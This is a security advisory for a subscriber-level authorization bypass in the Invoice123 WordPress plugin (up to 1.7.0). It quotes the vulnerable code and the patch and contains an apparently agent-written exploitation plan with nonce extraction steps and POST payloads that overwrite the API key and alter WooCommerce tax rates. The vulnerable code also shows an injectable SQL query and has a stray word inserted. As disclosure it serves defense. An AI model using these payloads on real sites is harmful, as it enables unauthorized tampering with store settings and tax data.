Invoice123 <= 1.7.0 - Missing Authorization to Authenticated (Subscriber+) Setting Modification via s123_submit_api_key & s123_submit_invoice_settings AJAX actions
Description
The Invoice123 plugin for WordPress is vulnerable to authorization bypass in all versions up to, and including, 1.7.0. This is due to the plugin not properly verifying that a user is authorized to perform an action. This makes it possible for authenticated attackers, with subscriber-level access and above, to overwrite the plugin's API key stored in wp_options, modify invoice plugin settings, and alter WooCommerce tax rate data in the wp_woocommerce_tax_rates table.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v1.7.1
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-9857 (Invoice123) ## 1. Vulnerability Summary The **Invoice123** plugin (<= 1.7.0) fails to implement capability checks on two AJAX actions: `s123_submit_api_key` and `s123_submit_invoice_settings`. While these actions are protected by a WordPress nonce (`s123…
Show full research plan
Exploitation Research Plan: CVE-2026-9857 (Invoice123)
1. Vulnerability Summary
The Invoice123 plugin (<= 1.7.0) fails to implement capability checks on two AJAX actions: s123_submit_api_key and s123_submit_invoice_settings. While these actions are protected by a WordPress nonce (s123_security), they lack any current_user_can() check. This allows any authenticated user (including low-privileged Subscribers) to modify the plugin's API key, overwrite critical invoice settings, and manipulate WooCommerce tax rate mappings in the database.
2. Attack Vector Analysis
- Endpoints:
/wp-admin/admin-ajax.php - AJAX Actions:
s123_submit_api_key(Registered inS123\Includes\Pages\S123_ApiKey::s123_register)s123_submit_invoice_settings(Registered inS123\Includes\Pages\S123_InvoiceSettings::s123_register)
- Authentication: Authenticated (Subscriber+)
- Parameters:
action:s123_submit_api_keyors123_submit_invoice_settingss123_security: The nonce value (Action name:s123_security)api_key: The new API key to set (fors123_submit_api_key)api_vats[]: An array of strings in format{api_vat_id}-{woo_tax_id}(fors123_submit_invoice_settings)
- Preconditions:
- Plugin active.
- WooCommerce active (to verify tax rate modification).
- A valid Subscriber account.
3. Code Flow
API Key Modification (S123_ApiKey.php)
- User sends POST request to
admin-ajax.phpwithaction=s123_submit_api_key. s123_submit_api_key()is called.wp_verify_nonce($_POST['s123_security'], 's123_security')validates the nonce.- Security Gap: No
current_user_can('manage_options')check follows. saveApiKey($data)is called.$this->s123_update_options($options)writes the attacker-controlledapi_keyto thewp_optionstable.
Invoice Settings & Tax Mapping (S123_InvoiceSettings.php)
- User sends POST request with
action=s123_submit_invoice_settings. s123_submit_invoice_settings()validates the nonce.- Security Gap: No capability check.
- If
api_vatsis present,mapVats()is called. mapVats()iterates throughapi_vats, explodes the string by-, and executes:UPDATE {$wpdb->prefix}woocommerce_tax_rates SET s123_tax_id='$vat[0]' WHERE tax_rate_id='$vat[1]'- This allows arbitrary modification of the
s123_tax_idcolumn in the WooCommerce tax table.
4. Nonce Acquisition Strategy
The nonce s123_security is required. In version 1.7.0, the plugin typically registers settings pages. Low-privileged users might find this nonce in the admin dashboard if the script is enqueued globally.
- Search Admin Pages: Low-privileged users can access
wp-admin/profile.php. Check if the plugin enqueues its localization object there. - Browser Extraction:
- Login as a Subscriber.
- Navigate to
/wp-admin/profile.php. - Use
browser_evalto search for the nonce:// Look for localized data. Common patterns for this plugin: // window.s123_vars.s123_security // window.s123_params.s123_security Object.keys(window).filter(k => k.includes('s123')).forEach(k => console.log(k, window[k]));
- Specific Variable: Based on common patterns in this plugin's era, check for a localized object (e.g.,
s123_objors123_data) containing thes123_securitykey.
5. Exploitation Strategy
Step 1: Obtain Nonce
Use the browser_navigate and browser_eval tools as a Subscriber to extract the s123_security nonce from the page source or global JS variables.
Step 2: Overwrite API Key
Submit an HTTP request to change the plugin's API key.
- Action:
s123_submit_api_key - Method:
POST - URL:
[TARGET]/wp-admin/admin-ajax.php - Body (URL-encoded):
action=s123_submit_api_key&s123_security=[NONCE]&api_key=pwned_api_key - Expected Response: JSON success message
{"success": true, "data": "..."}or a validation error frommakeRequestToValidateKey(the key is saved before the request).
Step 3: Modify WooCommerce Tax Rates
Submit an HTTP request to modify tax mappings.
- Action:
s123_submit_invoice_settings - Method:
POST - URL:
[TARGET]/wp-admin/admin-ajax.php - Body (URL-encoded):
(Note:action=s123_submit_invoice_settings&s123_security=[NONCE]&api_vats[]=99999-1&use_custom_inputs=11in99999-1assumes a tax rate with ID 1 exists in thewp_woocommerce_tax_ratestable).
6. Test Data Setup
- User: Create a Subscriber user (e.g.,
attacker/attacker123). - Plugin: Install and activate
saskaita123-ltversion 1.7.0. - WooCommerce: Ensure WooCommerce is installed and at least one tax rate is created.
wp eval "BWC_Tax::insert_tax_rate(array('tax_rate_country' => 'US', 'tax_rate_id' => 1));"(or via UI).
7. Expected Results
- Response: The AJAX response should return
HTTP 200with a JSON payload indicating success (e.g., "API Key saved successfully!"). - API Key: The WordPress option (likely
s123_optionsor similar) will containapi_key => 'pwned_api_key'. - Tax Table: The table
wp_woocommerce_tax_rateswill have thes123_tax_idcolumn updated to99999for the row wheretax_rate_idis1.
8. Verification Steps
After the exploit, use WP-CLI to verify the state:
- Check API Key:
wp option get s123_options --format=json - Check Tax Rates:
wp db query "SELECT tax_rate_id, s123_tax_id FROM $(wp db prefix)woocommerce_tax_rates WHERE tax_rate_id=1"
9. Alternative Approaches
If the nonce is not found on profile.php:
- Check if the plugin adds an admin menu item that a Subscriber can see (unlikely).
- Check for frontend nonces: Some Invoice123 versions may enqueue scripts on the frontend if WooCommerce "My Account" or "Checkout" pages are active.
wp post create --post_type=page --post_content='[woocommerce_my_account]' --post_status=publish- Navigate to this page and search for
s123_security.
- If
makeRequestToValidateKey()inS123_ApiKey.phpblocks success because the key is fake, note thatsaveApiKey()is executed before the validation request. The change is persistent even if the AJAX response returns an error.
Summary
The Invoice123 plugin for WordPress (<= 1.7.0) contains an authorization bypass vulnerability in its AJAX handlers for API key and invoice setting modifications. Due to a lack of capability checks, authenticated users with subscriber-level permissions can overwrite the plugin's API key and manipulate WooCommerce tax rate mappings in the database.
Vulnerable Code
// includes/pages/S123_ApiKey.php:27 public function s123_submit_api_key() { if (isset($_POST['s123_security']) && wp_verify_nonce($_POST['s123_security'], 's123_security')) { $keys = ['api_key']; $data = []; foreach ($keys as $key) { $data[$key] = isset($_POST[$key]) ? sanitize_text_field(trim($_POST[$key])) : null; } if (!isset($_POST Bryan["api_key"]) || $_POST["api_key"] === '') { S123_ResponseHelpers::s123_sendErrorResponse(__('API Key cannot be empty!', 's123-invoices')); } $this->saveApiKey($data); // send versions and validate api key $this->makeRequestToValidateKey(); } else { S123_ResponseHelpers::s123_sendErrorResponse(__('Invalid secret key specified.', 's123-invoices')); } } --- // includes/pages/S123_InvoiceSettings.php:24 public function s123_submit_invoice_settings() { if (isset($_POST['s123_security']) && wp_verify_nonce($_POST['s123_security'], 's123_security')) { $keys = ['use_custom_inputs', 'use_order_status', 'default_advanced_invoices', 'create_invoice_on_order_creation', 'create_unpaid_invoices']; $data = []; if (isset($_POST['api_vats'])) { // map woocommerce vat with app.invoice123.com vat $this->mapVats($_POST['api_vats']); } foreach ($keys as $key) { $data[$key] = isset($_POST[$key]) ? sanitize_text_field(trim($_POST[$key])) : null; } // ... --- // includes/pages/S123_InvoiceSettings.php:56 public function mapVats($vats) { foreach ($vats as $vat) { $vat = sanitize_text_field(trim($vat)); // [0] api vat id, [1] woo tax vat id $vat = explode('-', $vat); global $wpdb; $tableName = $wpdb->prefix . "woocommerce_tax_rates"; $wpdb->query($wpdb->prepare("UPDATE {$tableName} SET s123_tax_id='$vat[0]' WHERE tax_rate_id='$vat[1]'")); } }
Security Fix
@@ -26,6 +26,10 @@ */ public function s123_submit_api_key() { + if (!current_user_can('manage_woocommerce')) { + S123_ResponseHelpers::s123_sendErrorResponse(__('Sorry, you are not allowed to perform this action.', 's123-invoices')); + } + if (isset($_POST['s123_security']) && wp_verify_nonce($_POST['s123_security'], 's123_security')) { $keys = ['api_key']; $data = []; @@ -23,6 +23,10 @@ */ public function s123_submit_invoice_settings() { + if (!current_user_can('manage_woocommerce')) { + S123_ResponseHelpers::s123_sendErrorResponse(__('Sorry, you are not allowed to perform this action.', 's123-invoices')); + } + if (isset($_POST['s123_security']) && wp_verify_nonce($_POST['s123_security'], 's123_security')) { $keys = ['use_custom_inputs', 'use_order_status', 'default_advanced_invoices', 'create_invoice_on_order_creation', 'create_unpaid_invoices']; $data = []; @@ -55,14 +59,21 @@ public function mapVats($vats) { + global $wpdb; + $tableName = $wpdb->prefix . "woocommerce_tax_rates"; + foreach ($vats as $vat) { $vat = sanitize_text_field(trim($vat)); + $parts = explode('-', $vat); + if (count($parts) < 2) { + continue; + } // [0] api vat id, [1] woo tax vat id - $vat = explode('-', $vat); - - global $wpdb; - $tableName = $wpdb->prefix . "woocommerce_tax_rates"; - $wpdb->query($wpdb->prepare("UPDATE {$tableName} SET s123_tax_id='$vat[0]' WHERE tax_rate_id='$vat[1]'")); + $wpdb->query($wpdb->prepare( + "UPDATE {$tableName} SET s123_tax_id = %s WHERE tax_rate_id = %d", + $parts[0], + $parts[1] + )); } }
Exploit Outline
To exploit this vulnerability, an authenticated attacker first needs to obtain a valid WordPress nonce named 's123_security'. This nonce is often exposed to subscribers in the administrative interface via localized scripts if the plugin enqueues settings-related JavaScript globally. Once the nonce is obtained, the attacker sends a POST request to /wp-admin/admin-ajax.php using either the 's123_submit_api_key' or 's123_submit_invoice_settings' actions. By including the 'api_key' parameter in the first action, an attacker can overwrite the store's API connection string. Alternatively, by using the 'api_vats[]' parameter in the second action (formatted as 'new_tax_id-target_tax_rate_id'), the attacker can directly modify values in the wp_woocommerce_tax_rates database table.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.